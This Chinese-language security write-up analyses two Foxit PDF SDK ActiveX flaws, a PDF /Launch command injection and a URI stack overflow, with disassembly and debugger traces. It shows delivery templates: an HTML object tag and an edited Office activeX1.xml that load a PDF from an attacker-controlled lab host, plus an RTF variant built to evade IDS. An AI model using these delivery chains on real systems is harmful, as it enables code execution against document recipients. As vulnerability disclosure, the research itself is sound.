Foxit Reader SDK ActiveX漏洞分析
一、前言
許多人看到這個標題後會提出一個問題:難道微軟沒有拋棄ActiveX?是的,微軟幾乎快完成這個壯舉了。大多數安全從業人員都知道,ActiveX歷史上存在各種缺陷,其中包含許多遠端漏洞。微軟自己也與許多第三方廠家披露過一些ActiveX漏洞。最後,微軟釋出了一個安全更新,從機制上禁止了ActiveX物件指令碼在遠端上下文中執行。
然而,微軟的確留下了一個口子,使得ActiveX空間能夠被例項化。在某種情況下,解析型漏洞可以利用這種機制實現遠端程式碼執行。我認為微軟之所以這麼做可能是考慮到向後相容問題,比如,Microsoft Management Console(MMC)就需要例項化可信ActiveX控制元件,以便執行系統管理任務。
在本文中,我討論了關於ActiveX的一些緩解措施,分析了為何這些緩解措施無法完全阻止所有攻擊。隨後,我討論了 CVE-2018-19418 的發現及利用過程,也討論了 CVE-2018-19447 的發現過程,後者是一個客戶端漏洞,可以實現遠端程式碼執行。漏洞利用過程中,受害者只需要開啟惡意office文件即可,這是唯一的一個互動操作。
二、簡介
在Foxit網站上有關於Foxit Reader SDK ActiveX的介紹,可以簡單總結成如下一段話:
PDF SDK ActiveX對產品經理及開發者而言是絕佳的解決方案,這是簡單易用且可自定義的視覺化元件,能夠簡單拖放到應用程式中,快速建立檢視PDF的應用,整個過程無需具備任何PDF專業知識就能完成。
PDF SDK ActiveX有兩個版本:Standard(標準)版以及Professional(專業)版。這兩個版本的區別在於專業版可以執行任意JavaScript程式碼,也能訪問更多的PDF功能。大家不要把這些產品與Foxit Reader自己的ActiveX控制元件混淆起來,後者可以在Foxit Reader中找到。
Foxit Reader的ActiveX控制元件路徑為 C:\Program Files\Foxit Software\Foxit Reader\plugins\FoxitReaderBrowserAx.dll
,該元件會將PDF解析任務交由正常的程式檔案(即 C:\Program Files\Foxit Software\Foxit Reader\FoxitReader.exe
)進行處理。因此,如果程式程式碼中存在任何解析漏洞,我們也能DLL構建出漏洞利用路徑。Adobe的產品也存在類似機制,唯一的區別在於Adobe產品會執行在沙箱環境中。
還有另外一個區別,Adobe並沒有獨立的ActiveX產品,因此不需要使用兩種不同的解析器。有時候雖然廠商在核心產品中修復了bug,但忘記修復其他PDF解析器中的bug,Adobe能避免出現這種情況。
三、攻擊目標
我測試的目標為 FoxitPDFSDKActiveX540_Std.msi
( eba1a06230cc1a39ccb1fb7f04448a0d78859b60
)以及 FoxitPDFSDKActiveX540_Pro.msi
( 243a9099c9788dfcf38817f20208e5289b530f56
),當時都為最新版。
然而,在分析控制元件之前,我們需要確保能夠正確初始化控制元件,不會彈出警告框。經過測試表明,這兩款控制元件都可以安全進行初始化,沒有設定kill bit(ActiveX控制元件的相容性標誌)。
Loaded File: C:\Program Files\Foxit Software\Foxit PDF SDK ActiveX Std\bin\FoxitPDFSDK_AX_Std.ocx Name:FoxitPDFSDKStdLib Lib GUID:{5FE9D64A-3BC2-43CB-AA47-F0B0C510EBEA} Version:5.0 Lib Classes: 7 Class FoxitPDFSDK GUID: {0F6C092B-6E4C-4976-B386-27A9FD9E96A1} Number of Interfaces: 1 Default Interface: _DFoxitPDFSDK RegKey Safe for Script: True RegKey Safe for Init: True KillBitSet: False
雖然這些設定可以讓我們以指令碼方式執行控制元件,但微軟在最新的更新中禁用了這種操作(我不清楚這種防護機制具體的具體釋出時間)。這種機制非常好,我審計過一些方法(如 OpenFileAsync
),也找到了能夠輕鬆利用的棧緩衝區溢位漏洞,但我並沒有向廠商反饋這些漏洞,因為在這種機制的防護下,我們找不到遠端利用方式。
最初我想找到能夠同時影響標準版和專業版的一個漏洞。由於這兩款產品共享程式碼,因此找到這樣一個目標對我來說並非難事。然而,前面提到過,標準版不支援JavaScript。如果後面我找到了記憶體損壞(memory corruption)bug,由於我無法使用指令碼,因此想找到利用方法可能難上加難。
四、漏洞分析
CVE-2018-19418:新視窗命令注入漏洞
由於這是我之前沒研究過的PDF解析器,並且可以遠端訪問,因此我決定尋找是否存在簡單一點的漏洞,比如邏輯漏洞。首先我決定交叉引用目標中對 CreateProcessW
的所有呼叫,結果的確找到了一些呼叫。
最有趣的呼叫位於 loc_104A0E80
處的 sub_1049FD60
:
.text:10481D95 loc_10481D95:; CODE XREF: sub_10481D10+81 .text:10481D95leaecx, [ebp+ProcessInformation] .text:10481D98pushecx; lpProcessInformation .text:10481D99leaedx, [ebp+StartupInfo] .text:10481D9Cpushedx; lpStartupInfo .text:10481D9Dpush0; lpCurrentDirectory .text:10481D9Fpush0; lpEnvironment .text:10481DA1push0; dwCreationFlags .text:10481DA3push0; bInheritHandles .text:10481DA5push0; lpThreadAttributes .text:10481DA7push0; lpProcessAttributes .text:10481DA9pusheax .text:10481DAAleaecx, [ebp+var_10] .text:10481DADcallsub_10163D59 .text:10481DB2pusheax; lpCommandLine .text:10481DB3push0; lpApplicationName .text:10481DB5callds:CreateProcessW; rce
當我們使用 /Launch
型別的 /OpenAction
來解析PDF檔案時,就能進入該程式碼執行區域。此外,我還能將 /NewWindow
標誌設定為 true
,繞過彈出警告。
Breakpoint 0 hit eax=05de3fc4 ebx=05f58dc8 ecx=001dee6c edx=001dee18 esi=001dee94 edi=05b07f50 eip=04ae1db5 esp=001dede8 ebp=001dee7c iopl=0nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5: 04ae1db5 ff155403ce04calldword ptr [FoxitPDFSDK_AX_Std!DllCanUnloadNow+0x5da73 (04ce0354)] ds:0023:04ce0354={kernel32!CreateProcessW (75d5204d)} 0:000> du poi(@esp+4) 05de3fc4"c:\Windows\System32\calc.exe"<-- whatever we want 0:000> kv ChildEBP RetAddrArgs to Child WARNING: Stack unwind information not available. Following frames may be wrong. 001dee7c 04ae2612 440f2825 05f58dc8 05ff3fd8 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5 001deecc 04ae27e6 05f10fe8 05ff3fd8 05b07f50 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x1022 001deef8 04ae90be 05f58dc8 440f29c9 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x11f6 001def20 0466c70f 001def74 05dbbf80 440f297d FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7ace 001def94 046766f7 05d6cfd8 04f3d4c8 440f2925 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDisplayStartDate+0x4caf 001defcc 046b789a 06339fd4 001def9c 046958f3 FoxitPDFSDK_AX_Std!DllUnregisterServer+0x328e 001df07c 046961f0 04ce7ea8 00000001 001df184 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0x2c106 001df114 1005cf6a 00000001 0000000f 0fe4c2b4 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0xaa5c 001df1e0 1004819a 0000000f 00000001 0000000b mfc140u+0x29cf6a 001df208 100a4a52 0000000f 00000001 0000000b mfc140u+0x28819a 001df230 00c83c87 001dfb64 0000000f 00000001 mfc140u+0x2e4a52 001df2a0 1001e03d 00000110 00000000 001df2dc image00c80000+0x3c87 001df2b0 7717c4b7 0009048a 00000110 0008047a mfc140u+0x25e03d 001df2dc 77195825 1001e000 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df358 771959c3 00000000 1001e000 0009048a USER32!CreateDialogParamW+0x225 001df3a0 77195bb3 00000000 00000110 0008047a USER32!CreateDialogParamW+0x3c3 001df3bc 7717c4b7 0009048a 00000110 0008047a USER32!DefDlgProcW+0x22 001df3e8 7717c5b7 77195b91 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df460 77171b01 00000000 77195b91 0009048a USER32!gapfnScSendMessage+0x2cf 001df490 77171b27 77195b91 0009048a 00000110 USER32!PeekMessageA+0x18c
CVE-2018-19447:URI解析棧緩衝區溢位漏洞
當我在逆向分析邏輯問題時,我偶然發現了位於 loc_104CC981
處的 sub_104CC8B0
存在棧緩衝區溢位問題,當時我正嘗試將使用者提供的URI拷貝至 String1
緩衝區中:
.text:104CC981 loc_104CC981:; CODE XREF: sub_104CC8B0+C3 .text:104CC981; sub_104CC8B0+CA .text:104CC981pushoffset word_106837E0; lpString2 .text:104CC986leaeax, [ebp+String1] .text:104CC98Cpusheax; lpString1 .text:104CC98Dcallebx; lstrcatW .text:104CC98Fpushedi; lpString2 .text:104CC990leaecx, [ebp+String1] .text:104CC996pushecx; lpString1 .text:104CC997callebx; calls lstrcatW to trigger the stack overflow
該函式受棧cookie(stack cookie,也稱安全cookie)的保護,並且編譯時啟用了 /SAFESEH
選項,因此我們利用起來更難。即便如此,我們還是可以繞過這些保護措施,我們會在後續文章中介紹具體方法。
STATUS_STACK_BUFFER_OVERRUN encountered (a50.1064): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=2da3944c ecx=75e9e4f4 edx=0031c085 esi=00000000 edi=238c2f50 eip=75e9e371 esp=0031c2cc ebp=0031c348 iopl=0nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00200246 kernel32!UnhandledExceptionFilter+0x5f: 75e9e371 ccint3 0:000> kv L10 # ChildEBP RetAddrArgs to Child 00 0031c348 2d4cd47d 2da3944c 96120647 69edf9b8 kernel32!UnhandledExceptionFilter+0x5f (FPO: [Non-Fpo]) WARNING: Stack unwind information not available. Following frames may be wrong. 01 0031c67c 2d84ca09 00000044 00000000 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDocEventHandler+0x12427 02 0031caec 00410041 00410041 00410041 00410041 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x4b419 03 0031caf0 00410041 00410041 00410041 00410041 0x410041 04 0031caf4 00410041 00410041 00410041 00410041 0x410041 05 0031caf8 00410041 00410041 00410041 00410041 0x410041 06 0031cafc 00410041 00410041 00410041 00410041 0x410041 07 0031cb00 00410041 00410041 00410041 00410041 0x410041 08 0031cb04 00410041 00410041 00410041 00410041 0x410041 09 0031cb08 00410041 00410041 00410041 00410041 0x410041 0a 0031cb0c 00410041 00410041 00410041 00410041 0x410041 0b 0031cb10 00410041 00410041 00410041 00410041 0x410041 0c 0031cb14 00410041 00410041 00410041 00410041 0x410041 0d 0031cb18 00410041 00410041 00410041 00410041 0x410041 0e 0031cb1c 00410041 00410041 00410041 00410041 0x410041 0f 0031cb20 00410041 00410041 00410041 00410041 0x410041 0:000> !exchain 0031c338: kernel32!_except_handler4+0 (75eca332) CRT scope0, filter: kernel32!UnhandledExceptionFilter+69 (75e9e37e) func:kernel32!UnhandledExceptionFilter+6d (75e9e382) 0031cc44: 00410041 Invalid exception stack at 00410041
但我們怎麼才能觸發這些漏洞呢?
五、攻擊方法
由於我們不能執行任何指令碼操作,因此我們不能使用像 OpenFile
之類的公開方法。然而進一步分析控制元件後,我們可以看到其中包含一個 FilePath
屬性,我們可以設定這個屬性。
圖1. ActiveX屬性及方法
IE瀏覽器
因此如果我們使用遠端託管的html檔案,就可以在不執行指令碼操作的情況下,通過ActiveX控制元件成功渲染pdf檔案。
<object classid='clsid:F53B7748-643C-4A78-8DBC-01A4855D1A10' id='target' /> <param name="FilePath" value="http://172.16.175.1:9090/sample.pdf" /> </object>
saturn:~$ python -m SimpleHTTPServer 9090 Serving HTTP on 0.0.0.0 port 9090 ... 172.16.175.154 - - [21/Nov/2018 09:48:51] "GET / HTTP/1.1" 200 - 172.16.175.154 - - [21/Nov/2018 09:49:28] "GET /sample.pdf HTTP/1.1" 200 -
這裡的問題在於,如果目標站點不可信(這一點很有可能,除非目標站點位於Local Machine Zone中 ),我們就會看到如下一個非常不友好的彈出框:
圖2. 彈框對攻擊者來說始終不是件好事
點選“Allow”後,瀏覽器可以成功渲染我們構造的pdf檔案:
圖3. 在瀏覽器中通過FoxitPDFSDKProCtrl.5渲染PDF檔案
在點選“Allow”後,我們可以在“管理載入項”頁面中看到攻擊者的IP地址已位於站點白名單中,可以執行該控制元件。
圖4. 白名單站點可以執行Foxit.FoxitPDFSDKProCtrl.5控制元件
瀏覽器對我們來說的確是不錯的攻擊媒介,我們可以將攻擊載荷託管在一個 iframe
中,給我們的受害者耍些花樣。但這裡的問題是我們還需要一次使用者互動,並且最重要的一點:現在還有誰在用IE呢?
微軟Office
因此我決定使用微軟的Office產品,桌面環境中Office的使用範圍比IE要廣。此外,我們構造的攻擊載荷基本上能適用於所有的Office文件,如Excel、Word、PowerPoint、Outlook預覽面板等。Outlook預覽面板是最理想的目標,因為使用者不需要開啟郵件,只需要預覽郵件即可,這樣我們就能實現100%可靠的程式碼執行效果。
Office與IE最關鍵的區別在於,Word中執行ActiveX控制元件時不會向用戶彈出視窗。我在Windows 10 x86及x64系統上安裝過打全補丁的Office 2013以及Office 2016,專門做了測試,能夠確認這一點。
最開始時我構造了一個 poc.docx
檔案,但在Word中設定 FilePath
屬性時碰到了一些問題,當輸入一個字串並按下Enter鍵後,我看到了如下介面:
圖5. 無法設定 FilePath
屬性,但微軟給的資訊非常明確
為了解決這個問題,我使用目標ActiveX構造了 poc.docx
文件,然後手動修改 word/activeX/activeX1.xml
,設定 FilePath
ocxPr .aspx)屬性,然後重新打包整個文件。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{0F6C092B-6E4C-4976-B386-27A9FD9E96A1}" ax:persistence="persistPropertyBag" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <ax:ocxPr ax:name="_Version" ax:value="327680"/> <ax:ocxPr ax:name="_ExtentX" ax:value="16775"/> <ax:ocxPr ax:name="_ExtentY" ax:value="12582"/> <ax:ocxPr ax:name="_StockProps" ax:value="0"/> <ax:ocxPr ax:name="FilePath" ax:value="http://172.16.175.1:9090/poc.pdf"/>
在這個基礎上,我將 poc.docx
儲存為 poc.rtf
檔案。為了進一步增強rtf poc效果,我使用了來自CVE-2018-8174的模板,將其中的 htmlfile
objClass
替換為 Foxit.FoxitPDFSDKStdCtrl.5
objClass
。
最後生成的rtf poc文件看起來不錯,並且檔案大小更小,這樣混淆起來更加方便,便於繞過IDS。
六、POC
我在PoC視訊中演示了 CVE-2018-19418 以及 CVE-2018-19447 的利用過程,大家可訪問 此處 觀看視訊。
七、總結
結合本文內容,我通常會建議使用者禁用ActiveX,不要開啟不可信連結等等等。但實際上,當微軟Office在例項化可信ActiveX控制元件時(這裡的“可信”指的是能夠安全初始化,安全處理指令碼操作),使用者看不到任何警告資訊,使用者甚至不知道他們安裝的是包含第三方ActiveX控制元件的一款產品。
因此我想直接給開發者一些建議,請停止開發ActiveX控制元件,就這麼簡單。
八、參考資料
https://www.blackhillsinfosec.com/having-fun-with-activex-controls-in-microsoft-word/